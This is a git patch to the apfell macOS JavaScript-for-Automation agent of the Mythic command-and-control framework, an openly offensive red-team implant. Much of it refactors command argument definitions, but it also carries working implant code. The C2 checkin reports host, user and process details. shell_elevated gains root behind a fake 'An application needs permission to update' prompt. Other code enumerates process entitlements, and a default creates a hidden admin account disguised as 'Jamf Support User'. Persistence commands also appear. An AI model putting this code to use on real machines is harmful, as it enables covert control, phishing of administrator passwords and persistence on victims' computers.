From 49aa145a796c05bc3c2329f2060581864714d86d Mon Sep 17 00:00:00 2001 From: Cody Thomas Date: Thu, 2 Dec 2021 18:30:46 -0800 Subject: [PATCH 1/8] updating for mythic 2.3 --- Payload_Type/apfell/Dockerfile | 6 +- .../agent_code/c2_profiles/dynamichttp.js | 2 + .../apfell/agent_code/c2_profiles/http.js | 2 + .../apfell/agent_code/code_signatures.js | 37 +++++ Payload_Type/apfell/agent_code/download.js | 3 +- .../apfell/agent_code/list_entitlements.js | 53 +++++++ Payload_Type/apfell/agent_code/load.js | 8 +- .../apfell/agent_code/shell_elevated.js | 19 ++- .../apfell/mythic/agent_functions/add_user.py | 86 +++++++---- .../apfell/mythic/agent_functions/builder.py | 13 +- .../apfell/mythic/agent_functions/cat.py | 25 +-- .../apfell/mythic/agent_functions/cd.py | 27 ++-- .../agent_functions/chrome_bookmarks.py | 6 +- .../mythic/agent_functions/chrome_js.py | 45 ++++-- .../mythic/agent_functions/chrome_tabs.py | 6 +- .../mythic/agent_functions/clipboard.py | 42 +++-- .../mythic/agent_functions/code_signatures.py | 46 ++++++ .../mythic/agent_functions/current_user.py | 26 ++-- .../apfell/mythic/agent_functions/download.py | 13 +- .../apfell/mythic/agent_functions/exit.py | 9 +- .../mythic/agent_functions/get_config.py | 6 +- .../apfell/mythic/agent_functions/hostname.py | 6 +- .../apfell/mythic/agent_functions/ifconfig.py | 6 +- .../apfell/mythic/agent_functions/iterm.py | 6 +- .../apfell/mythic/agent_functions/jscript.py | 26 ++-- .../apfell/mythic/agent_functions/jsimport.py | 17 ++- .../mythic/agent_functions/jsimport_call.py | 26 ++-- .../mythic/agent_functions/launchapp.py | 26 ++-- .../mythic/agent_functions/list_apps.py | 9 +- .../agent_functions/list_entitlements.py | 53 +++++++ .../mythic/agent_functions/list_users.py | 37 +++-- .../apfell/mythic/agent_functions/load.py | 36 +++-- .../apfell/mythic/agent_functions/ls.py | 37 ++--- .../mythic/agent_functions/persist_emond.py | 43 +++--- .../agent_functions/persist_folderaction.py | 54 ++++--- .../mythic/agent_functions/persist_launch.py | 35 +++-- .../persist_loginitem_allusers.py | 25 ++- .../apfell/mythic/agent_functions/plist.py | 32 ++-- .../apfell/mythic/agent_functions/prompt.py | 37 +++-- .../apfell/mythic/agent_functions/pwd.py | 6 +- .../apfell/mythic/agent_functions/rm.py | 11 +- .../apfell/mythic/agent_functions/run.py | 25 ++- .../mythic/agent_functions/screenshot.py | 9 +- .../mythic/agent_functions/security_info.py | 6 +- .../apfell/mythic/agent_functions/shell.py | 28 ++-- .../mythic/agent_functions/shell_elevated.py | 52 ++++--- .../apfell/mythic/agent_functions/sleep.py | 24 +-- .../agent_functions/spawn_download_cradle.py | 23 ++- .../agent_functions/spawn_drop_and_execute.py | 23 ++- .../mythic/agent_functions/system_info.py | 6 +- .../mythic/agent_functions/terminals_read.py | 25 ++- .../mythic/agent_functions/terminals_send.py | 32 ++-- .../mythic/agent_functions/test_password.py | 12 +- .../apfell/mythic/agent_functions/upload.py | 125 +++++++++++---- .../mythic/browser_scripts/clipboard_new.js | 107 +++++++++++++ .../mythic/browser_scripts/download_new.js | 37 +++++ .../mythic/browser_scripts/list_apps_new.js | 72 +++++++++ .../browser_scripts/list_entitlements_new.js | 60 ++++++++ .../apfell/mythic/browser_scripts/ls_new.js | 143 ++++++++++++++++++ .../mythic/browser_scripts/screenshot_new.js | 34 +++++ 60 files changed, 1352 insertions(+), 499 deletions(-) create mode 100755 Payload_Type/apfell/agent_code/code_signatures.js create mode 100755 Payload_Type/apfell/agent_code/list_entitlements.js create mode 100644 Payload_Type/apfell/mythic/agent_functions/code_signatures.py create mode 100644 Payload_Type/apfell/mythic/agent_functions/list_entitlements.py create mode 100644 Payload_Type/apfell/mythic/browser_scripts/clipboard_new.js create mode 100644 Payload_Type/apfell/mythic/browser_scripts/download_new.js create mode 100644 Payload_Type/apfell/mythic/browser_scripts/list_apps_new.js create mode 100644 Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js create mode 100644 Payload_Type/apfell/mythic/browser_scripts/ls_new.js create mode 100644 Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js diff --git a/Payload_Type/apfell/Dockerfile b/Payload_Type/apfell/Dockerfile index 3898133..6933de3 100755 --- a/Payload_Type/apfell/Dockerfile +++ b/Payload_Type/apfell/Dockerfile @@ -1 +1,5 @@ -FROM itsafeaturemythic/python38_payload:0.0.7 +FROM itsafeaturemythic/python38_payload:0.0.9 + +RUN pip uninstall -y mythic_payloadtype_container +RUN pip install --index-url https://test.pypi.org/simple/ mythic_payloadtype_container==0.0.93 +#RUN pip install mythic_payloadtype_container==0.0.48 \ No newline at end of file diff --git a/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js b/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js index 3d71cbe..598e99e 100644 --- a/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js +++ b/Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js @@ -367,6 +367,8 @@ class customC2 extends baseC2{ } checkin(ip, pid, user, host, os, architecture, domain){ let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "domain": domain, "action": "checkin"}; + info["process_name"] = apfell.procInfo.processName.js; + info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter; if(user === 'root'){info['integrity_level'] = 3;} //let req = null; let jsondata = null; diff --git a/Payload_Type/apfell/agent_code/c2_profiles/http.js b/Payload_Type/apfell/agent_code/c2_profiles/http.js index 435a34f..829dcee 100644 --- a/Payload_Type/apfell/agent_code/c2_profiles/http.js +++ b/Payload_Type/apfell/agent_code/c2_profiles/http.js @@ -224,6 +224,8 @@ class customC2 extends baseC2{ //get info about system to check in initially //needs IP, PID, user, host, payload_type let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os":os, "architecture": arch, "domain": domain, "action": "checkin"}; + info["process_name"] = apfell.procInfo.processName.js; + info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter; if(user === "root"){ info['integrity_level'] = 3; } diff --git a/Payload_Type/apfell/agent_code/code_signatures.js b/Payload_Type/apfell/agent_code/code_signatures.js new file mode 100755 index 0000000..179d9be --- /dev/null +++ b/Payload_Type/apfell/agent_code/code_signatures.js @@ -0,0 +1,37 @@ +exports.code_signatures = function(task, command, params){ + ObjC.import("Security"); + let staticCode = Ref(); + try{ + let binpath = JSON.parse(params)["path"]; + if(binpath === undefined || binpath === null){ + return {"user_output": "Missing Path to examine", "completed": true, "status": "error"}; + } + let path = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, binpath, binpath.length, true); + $.SecStaticCodeCreateWithPath(path, 0, staticCode); + let codeInfo = Ref(); + $.SecCodeCopySigningInformation(staticCode[0], 0x7F, codeInfo); + ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]); + let codeInfo_c = $.CFMakeCollectable(codeInfo[0]); + let code_json = ObjC.deepUnwrap(codeInfo_c); + if(code_json === undefined){ + return {"user_output": "Failed to find specified path", "completed": true, "status": "error"}; + } + if(code_json.hasOwnProperty("flags")){ + let flag_details = []; + if( code_json["flags"] & 0x000001 ){flag_details.push({"0x000001": "kSecCodeSignatureHost - May host guest code"})} + if( code_json["flags"] & 0x000002 ){flag_details.push({"0x000002": "kSecCodeSignatureAdhoc - The code has been sealed without a signing identity"})} + if( code_json["flags"] & 0x000100 ){flag_details.push({"0x000100": "kSecCodeSignatureForceHard - The code prefers to be denied access to a resource if gaining such access would cause its invalidation"})} + if( code_json["flags"] & 0x000200 ){flag_details.push({"0x000200": "kSecCodeSignatureForceKill - The code wishes to be terminated if it is ever invalidated"})} + if( code_json["flags"] & 0x000400 ){flag_details.push({"0x000400": "kSecCodeSignatureForceExpiration - Code signatures made by expired certificates be rejected"})} + if( code_json["flags"] & 0x000800 ){flag_details.push({"0x000800": "kSecCodeSignatureRestrict - Restrict dyld loading"})} + if( code_json["flags"] & 0x001000 ){flag_details.push({"0x001000": "kSecCodeSignatureEnforcement - Enforce code signing"})} + if( code_json["flags"] & 0x002000 ){flag_details.push({"0x002000": "kSecCodeSignatureLibraryValidation - Require library validation"})} + if( code_json["flags"] & 0x010000 ){flag_details.push({"0x010000": "kSecCodeSignatureRuntime - Apply runtime hardening policies as required by the hardened runtime version"})} + code_json["flag_details"] = flag_details; + code_json["flags"] = "0x" + code_json["flags"].toString(16); + } + return {"user_output":JSON.stringify(code_json, null, 2), "completed": true}; + }catch(error){ + return {"user_output":error.toString(), "completed": true, "status": "error"}; + } +}; diff --git a/Payload_Type/apfell/agent_code/download.js b/Payload_Type/apfell/agent_code/download.js index cae93ce..8f68c45 100755 --- a/Payload_Type/apfell/agent_code/download.js +++ b/Payload_Type/apfell/agent_code/download.js @@ -3,11 +3,10 @@ exports.download = function(task, command, params){ if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; } let status = C2.download(task, params); if(status.hasOwnProperty("file_id")){ - status['user_output'] = "Finished Downloading"; + status['user_output'] = JSON.stringify({"agent_file_id": status["file_id"]}) + "\nFinished Downloading"; } return status; }catch(error){ return {'user_output': error.toString(), "completed": true, "status": "error"}; } - }; diff --git a/Payload_Type/apfell/agent_code/list_entitlements.js b/Payload_Type/apfell/agent_code/list_entitlements.js new file mode 100755 index 0000000..df27a96 --- /dev/null +++ b/Payload_Type/apfell/agent_code/list_entitlements.js @@ -0,0 +1,53 @@ +exports.list_entitlements = function(task, command, params){ + ObjC.import('AppKit'); + let le = function(pid){ + ObjC.bindFunction('malloc', ['void**', ['int']]); + ObjC.bindFunction('csops', ['int', ['int', 'int', 'void *', 'int'] ]); + let output = $.malloc(512000); + $.csops(pid, 7, output, 512000); + let data = $.NSData.alloc.initWithBytesLength(output, 512000); + for(let i = 8; i < data.length; i ++){ + if(data.bytes[i] === 0){ + let range = $.NSMakeRange(8, i); + data = data.subdataWithRange(range); + let plist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError(data, $.NSPropertyListImmutable, $.nil, $()); + return ObjC.deepUnwrap(plist); + } + } + return {}; + } + try{ + let arguments = JSON.parse(params); + let output = []; + if(arguments["pid"] === -1){ + let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js; + for(let i = 0; i < procs.length; i++){ + let entitlements = {}; + let ent = le(procs[i].processIdentifier); + if(ent === null || ent === undefined){ + ent = {}; + } + entitlements["pid"] = procs[i].processIdentifier; + entitlements['bundle'] = procs[i].bundleIdentifier.js; + entitlements['bundleURL'] = procs[i].bundleURL.path.js; + entitlements['bin_path'] = procs[i].executableURL.path.js; + entitlements['name'] = procs[i].localizedName.js; + entitlements["entitlements"] = ent; + output.push(entitlements); + } + }else { + let entitlements = {}; + let ent = le(arguments["pid"]); + entitlements["pid"] = arguments["pid"]; + entitlements['bundle'] = ""; + entitlements['bundleURL'] = ""; + entitlements['bin_path'] = ""; + entitlements['name'] = ""; + entitlements["entitlements"] = ent; + output.push(entitlements); + } + return {"user_output":JSON.stringify(output, null, 2), "completed": true}; + }catch(error){ + return {"user_output":error.toString(), "completed": true, "status": "error"}; + } +}; diff --git a/Payload_Type/apfell/agent_code/load.js b/Payload_Type/apfell/agent_code/load.js index 61e9b84..c5a8310 100755 --- a/Payload_Type/apfell/agent_code/load.js +++ b/Payload_Type/apfell/agent_code/load.js @@ -12,15 +12,13 @@ exports.load = function(task, command, params){ commands_dict = Object.assign({}, commands_dict, new_dict); // update the config with our new information C2.commands = Object.keys(commands_dict); - let cmds = parsed_params['cmds'].split(" ") let cmd_list = []; - for(let i = 0; i < cmds.length; i++){ - cmd_list.push({"action": "add", "cmd": cmds[i]}) + for(let i = 0; i < parsed_params['commands'].length; i++){ + cmd_list.push({"action": "add", "cmd": parsed_params['commands'][i]}) } - return {"user_output": "Loaded " + parsed_params['cmds'], "commands": cmd_list, "completed": true}; + return {"user_output": "Loaded " +parsed_params['commands'], "commands": cmd_list, "completed": true}; } catch(error){ - //console.log("errored in load function"); return {"user_output":error.toString(), "completed": true, "status": "error"}; } }; diff --git a/Payload_Type/apfell/agent_code/shell_elevated.js b/Payload_Type/apfell/agent_code/shell_elevated.js index 706e63d..2a3370d 100755 --- a/Payload_Type/apfell/agent_code/shell_elevated.js +++ b/Payload_Type/apfell/agent_code/shell_elevated.js @@ -17,16 +17,19 @@ exports.shell_elevated = function(task, command, params){ } let use_creds = false; let prompt = "An application needs permission to update"; - if(pieces.hasOwnProperty('use_creds') && typeof pieces['use_creds'] === "boolean"){ use_creds = pieces['use_creds'];} - if(!use_creds){ - if(pieces.hasOwnProperty('prompt') && pieces['prompt'] !== ""){ prompt = pieces['prompt'];} - try{ - response = currentApp.doShellScript(cmd, {administratorPrivileges:true,withPrompt:prompt}); - } - catch(error){ + if(pieces.hasOwnProperty('prompt') && pieces['prompt'] !== ""){ + prompt = pieces['prompt']; + use_creds = false; + }else{ + use_creds = true; + } + if(!use_creds) { + try { + response = currentApp.doShellScript(cmd, {administratorPrivileges: true, withPrompt: prompt}); + } catch (error) { // shell output uses \r instead of \n or \r\n to line endings, fix this nonsense response = error.toString().replace(/\r/g, "\n"); - return {"user_output":response, "completed": true, "status": "error"}; + return {"user_output": response, "completed": true, "status": "error"}; } } else{ diff --git a/Payload_Type/apfell/mythic/agent_functions/add_user.py b/Payload_Type/apfell/mythic/agent_functions/add_user.py index 6826406..b7f6af1 100644 --- a/Payload_Type/apfell/mythic/agent_functions/add_user.py +++ b/Payload_Type/apfell/mythic/agent_functions/add_user.py @@ -4,94 +4,118 @@ class AddUserArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "password": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="New Password", type=ParameterType.String, description="p@55w0rd_here for new user", - required=False, default_value="p@55w0rd_here", - ui_position=4 + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=4 + )] ), - "passwd": CommandParameter( + CommandParameter( name="Authenticate with this password", type=ParameterType.Credential_Value, description="password of the user that will execute the commands", - ui_position=2 + parameter_group_info=[ParameterGroupInfo( + ui_position=2 + )] ), - "user": CommandParameter( + CommandParameter( name="Authenticate as this user", type=ParameterType.Credential_Account, description="username that will execute the commands", - ui_position=1 + parameter_group_info=[ParameterGroupInfo( + ui_position=1 + )] ), - "createprofile": CommandParameter( + CommandParameter( name="createprofile", type=ParameterType.Boolean, - required=False, default_value=False, description="create a user profile or not", + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - "usershell": CommandParameter( + CommandParameter( name="usershell", type=ParameterType.String, description="which shell environment should the new user have", - required=False, default_value="/bin/bash", - ui_position=5 + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=5 + )] ), - "primarygroupid": CommandParameter( + CommandParameter( name="primarygroupid", type=ParameterType.Number, - required=False, description="POSIX primary group id for the new account", default_value=80, + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - "uniqueid": CommandParameter( + CommandParameter( name="uniqueid", type=ParameterType.Number, - required=False, default_value=403, description="POSIX unique id for the user", + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - "homedir": CommandParameter( + CommandParameter( name="homedir", type=ParameterType.String, - required=False, description="/Users/.jamf_support", + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - "realname": CommandParameter( + CommandParameter( name="realname", type=ParameterType.String, - required=False, default_value="Jamf Support User", description="Full user name", + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - "username": CommandParameter( + CommandParameter( name="New Username", type=ParameterType.String, - required=False, default_value=".jamf_support", description="POSIX username for account", - ui_position=3 + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=3 + )] ), - "hidden": CommandParameter( + CommandParameter( name="hidden", type=ParameterType.Boolean, - required=False, default_value=False, description="Should the account be hidden from the logon screen", + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - "admin": CommandParameter( + CommandParameter( name="admin", type=ParameterType.Boolean, - required=False, default_value=True, description="Should the account be an admin account", + parameter_group_info=[ParameterGroupInfo( + required=False, + )] ), - } + ] async def parse_arguments(self): self.load_args_from_json_string(self.command_line) diff --git a/Payload_Type/apfell/mythic/agent_functions/builder.py b/Payload_Type/apfell/mythic/agent_functions/builder.py index b19f555..e323aa6 100644 --- a/Payload_Type/apfell/mythic/agent_functions/builder.py +++ b/Payload_Type/apfell/mythic/agent_functions/builder.py @@ -1,5 +1,6 @@ from mythic_payloadtype_container.PayloadBuilder import * from mythic_payloadtype_container.MythicCommandBase import * +from mythic_payloadtype_container.MythicRPC import * import sys import json @@ -13,13 +14,13 @@ class Apfell(PayloadType): wrapped_payloads = [] note = """This payload uses JavaScript for Automation (JXA) for execution on macOS boxes.""" supports_dynamic_loading = True - build_parameters = {} c2_profiles = ["http", "dynamichttp"] mythic_encrypts = True support_browser_scripts = [ BrowserScript(script_name="create_table", author="@its_a_feature_") ] translation_container = None # "translator" + build_parameters = [] async def build(self) -> BuildResponse: # this function gets called to create an instance of your payload @@ -29,9 +30,12 @@ async def build(self) -> BuildResponse: try: command_code = "" for cmd in self.commands.get_commands(): - command_code += ( - open(self.agent_code_path / "{}.js".format(cmd), "r").read() + "\n" - ) + try: + command_code += ( + open(self.agent_code_path / "{}.js".format(cmd), "r").read() + "\n" + ) + except Exception as p: + pass base_code = open( self.agent_code_path / "base" / "apfell-jxa.js", "r" ).read() @@ -61,6 +65,7 @@ async def build(self) -> BuildResponse: c2_code = c2_code.replace(key, val) except Exception as p: build_msg += str(p) + pass all_c2_code += c2_code base_code = base_code.replace("C2PROFILE_HERE", all_c2_code) resp.payload = base_code.encode() diff --git a/Payload_Type/apfell/mythic/agent_functions/cat.py b/Payload_Type/apfell/mythic/agent_functions/cat.py index ccc2b20..b58e38d 100644 --- a/Payload_Type/apfell/mythic/agent_functions/cat.py +++ b/Payload_Type/apfell/mythic/agent_functions/cat.py @@ -4,24 +4,27 @@ class CatArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "path": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="path", type=ParameterType.String, description="path to file (no quotes required)", + parameter_group_info=[ParameterGroupInfo()] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("path", self.command_line) + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "path" in dictionary_arguments: + self.add_arg("path", dictionary_arguments["path"]) else: - raise ValueError("Missing arguments") + raise ValueError("Missing 'path' argument") class CatCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/cd.py b/Payload_Type/apfell/mythic/agent_functions/cd.py index b66f49d..22748ba 100644 --- a/Payload_Type/apfell/mythic/agent_functions/cd.py +++ b/Payload_Type/apfell/mythic/agent_functions/cd.py @@ -3,24 +3,27 @@ class CdArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "path": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="path", type=ParameterType.String, description="path to change directory to", - ) - } + parameter_group_info=[ParameterGroupInfo()] + ), + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.args["path"].value = self.command_line + if len(self.command_line) == 0: + raise ValueError("Need to specify a path") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "path" in dictionary_arguments: + self.add_arg("path", dictionary_arguments["path"]) else: - self.args["path"].value = "." + raise ValueError("Missing 'path' argument") class CdCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py b/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py index 4a4929e..1affb3a 100644 --- a/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py +++ b/Payload_Type/apfell/mythic/agent_functions/chrome_bookmarks.py @@ -4,9 +4,9 @@ class ChromeBookmarksArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/chrome_js.py b/Payload_Type/apfell/mythic/agent_functions/chrome_js.py index 3a22cd6..33e23ad 100644 --- a/Payload_Type/apfell/mythic/agent_functions/chrome_js.py +++ b/Payload_Type/apfell/mythic/agent_functions/chrome_js.py @@ -4,34 +4,53 @@ class ChromeJsArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "window": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="window", type=ParameterType.Number, description="Window # from chrome_tabs", + default_value=0, + parameter_group_info=[ParameterGroupInfo( + required=False + )] ), - "javascript": CommandParameter( + CommandParameter( name="javascript", type=ParameterType.String, description="javascript to execute", + parameter_group_info=[ParameterGroupInfo()] ), - "tab": CommandParameter( + CommandParameter( name="tab", type=ParameterType.Number, description="Tab # from chrome_tabs", + default_value=0, + parameter_group_info=[ParameterGroupInfo( + required=False + )] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise ValueError("Missing JSON arguments") + if len(self.command_line) == 0: + raise ValueError("Need to specify command to run") + self.add_arg("javascript", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "javascript" in dictionary_arguments: + self.add_arg("javascript", dictionary_arguments["javascript"]) + else: + raise ValueError("Missing 'javascript' argument") + if "window" in dictionary_arguments: + self.add_arg("window", dictionary_arguments["window"]) + else: + self.add_arg("window", 0) + if "tab" in dictionary_arguments: + self.add_arg("tab", dictionary_arguments["tab"]) else: - raise ValueError("Missing arguments") + self.add_arg("tab", 0) class ChromeJsCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py b/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py index 6b480d1..8942790 100644 --- a/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py +++ b/Payload_Type/apfell/mythic/agent_functions/chrome_tabs.py @@ -4,9 +4,9 @@ class ChromeTabsArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/clipboard.py b/Payload_Type/apfell/mythic/agent_functions/clipboard.py index 80d3cc8..9460923 100644 --- a/Payload_Type/apfell/mythic/agent_functions/clipboard.py +++ b/Payload_Type/apfell/mythic/agent_functions/clipboard.py @@ -4,30 +4,42 @@ class ClipboardArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "types": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="Clipboard Types", type=ParameterType.Array, - required=False, default_value=["public.utf8-plain-text"], description="Types of clipboard data to retrieve, defaults to public.utf8-plain-text", + parameter_group_info=[ParameterGroupInfo( + required=False, + group_name="read" + )] ), - "data": CommandParameter( + CommandParameter( name="data", type=ParameterType.String, description="Data to put on the clipboard", - required=False, + parameter_group_info=[ParameterGroupInfo( + required=False, + group_name="write", + ui_position=1 + )] ), - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("data", self.command_line) + if len(self.command_line) != 0: + self.add_arg("data", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "data" in dictionary_arguments: + self.add_arg("data", dictionary_arguments["data"]) + else: + self.remove_arg("data") + if "Clipboard Types" in dictionary_arguments: + self.add_arg("Clipboard Types", dictionary_arguments["Clipboard Types"]) class ClipboardCommand(CommandBase): @@ -39,7 +51,9 @@ class ClipboardCommand(CommandBase): author = "@its_a_feature_" attackmapping = ["T1115"] argument_class = ClipboardArguments - browser_script = BrowserScript(script_name="clipboard", author="@its_a_feature_") + supported_ui_features = ["clipboard:list"] + browser_script = [BrowserScript(script_name="clipboard", author="@its_a_feature_"), + BrowserScript(script_name="clipboard_new", author="@its_a_feature_", for_new_ui=True)] async def create_tasking(self, task: MythicTask) -> MythicTask: if task.args.get_arg("data") != "": diff --git a/Payload_Type/apfell/mythic/agent_functions/code_signatures.py b/Payload_Type/apfell/mythic/agent_functions/code_signatures.py new file mode 100644 index 0000000..b8dba18 --- /dev/null +++ b/Payload_Type/apfell/mythic/agent_functions/code_signatures.py @@ -0,0 +1,46 @@ +from mythic_payloadtype_container.MythicCommandBase import * +import json +from mythic_payloadtype_container.MythicRPC import * + + +class CodeSignaturesArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="path", + type=ParameterType.String, + description="path to file (no quotes required)", + parameter_group_info=[ParameterGroupInfo()] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a path to a file") + self.add_arg("path", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "path" in dictionary_arguments: + self.add_arg("path", dictionary_arguments["path"]) + else: + raise ValueError("Missing 'path' argument") + + +class CodeSignaturesCommand(CommandBase): + cmd = "code_signatures" + needs_admin = False + help_cmd = 'code_signatures {/path/to/app.app | /path/to/binary}' + description = "This uses JXA to list the code signature information for a binary or bundle" + version = 1 + author = "@its_a_feature_" + attackmapping = [] + argument_class = CodeSignaturesArguments + supported_ui_features = ["code_signatures:list"] + + async def create_tasking(self, task: MythicTask) -> MythicTask: + task.display_params = " for " + task.args.get_arg("path") + return task + + async def process_response(self, response: AgentResponse): + pass diff --git a/Payload_Type/apfell/mythic/agent_functions/current_user.py b/Payload_Type/apfell/mythic/agent_functions/current_user.py index c1805ad..dcfca92 100644 --- a/Payload_Type/apfell/mythic/agent_functions/current_user.py +++ b/Payload_Type/apfell/mythic/agent_functions/current_user.py @@ -4,27 +4,27 @@ class CurrentUserArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = { - "method": CommandParameter( + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( name="method", type=ParameterType.ChooseOne, choices=["api", "jxa"], description="Use AppleEvents or ObjectiveC calls to get user information", default_value="api", + parameter_group_info=[ParameterGroupInfo()] ) - } + ] async def parse_arguments(self): - if len(self.command_line) > 0: - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("method", self.command_line) - else: - raise ValueError("Missing arguments") - pass + if len(self.command_line) == 0: + raise ValueError("Must supply a method to use") + self.add_arg("method", self.command_line) + + async def parse_dictionary(self, dictionary_arguments): + if "method" in dictionary_arguments: + self.add_arg("method", dictionary_arguments["method"]) class CurrentUserCommand(CommandBase): diff --git a/Payload_Type/apfell/mythic/agent_functions/download.py b/Payload_Type/apfell/mythic/agent_functions/download.py index 912e899..96f4536 100644 --- a/Payload_Type/apfell/mythic/agent_functions/download.py +++ b/Payload_Type/apfell/mythic/agent_functions/download.py @@ -4,9 +4,9 @@ class DownloadArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): if len(self.command_line) > 0: @@ -33,13 +33,18 @@ class DownloadCommand(CommandBase): parameters = [] attackmapping = ["T1020", "T1030", "T1041"] argument_class = DownloadArguments - browser_script = BrowserScript(script_name="download", author="@its_a_feature_") + browser_script = [BrowserScript(script_name="download", author="@its_a_feature_"), + BrowserScript(script_name="download_new", author="@its_a_feature_", for_new_ui=True)] + attributes = CommandAttributes( + suggested_command=True + ) async def create_tasking(self, task: MythicTask) -> MythicTask: resp = await MythicRPC().execute("create_artifact", task_id=task.id, artifact="$.NSFileHandle.fileHandleForReadingAtPath, readDataOfLength", artifact_type="API Called", ) + task.display_params = task.args.command_line return task async def process_response(self, response: AgentResponse): diff --git a/Payload_Type/apfell/mythic/agent_functions/exit.py b/Payload_Type/apfell/mythic/agent_functions/exit.py index e8d48b2..a6af4db 100644 --- a/Payload_Type/apfell/mythic/agent_functions/exit.py +++ b/Payload_Type/apfell/mythic/agent_functions/exit.py @@ -4,9 +4,9 @@ class ExitArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass @@ -22,6 +22,9 @@ class ExitCommand(CommandBase): author = "@its_a_feature_" attackmapping = [] argument_class = ExitArguments + attributes = CommandAttributes( + builtin=True + ) async def create_tasking(self, task: MythicTask) -> MythicTask: resp = await MythicRPC().execute("create_artifact", task_id=task.id, diff --git a/Payload_Type/apfell/mythic/agent_functions/get_config.py b/Payload_Type/apfell/mythic/agent_functions/get_config.py index 2580edd..10dff22 100644 --- a/Payload_Type/apfell/mythic/agent_functions/get_config.py +++ b/Payload_Type/apfell/mythic/agent_functions/get_config.py @@ -4,9 +4,9 @@ class GetConfigArguments(TaskArguments): - def __init__(self, command_line): - super().__init__(command_line) - self.args = {} + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] async def parse_arguments(self): pass diff --git a/Payload_Type/apfell/mythic/agent_functions/hostname.py b/Payload_Type/apfell/mythic/agent_functions/hostname.py index 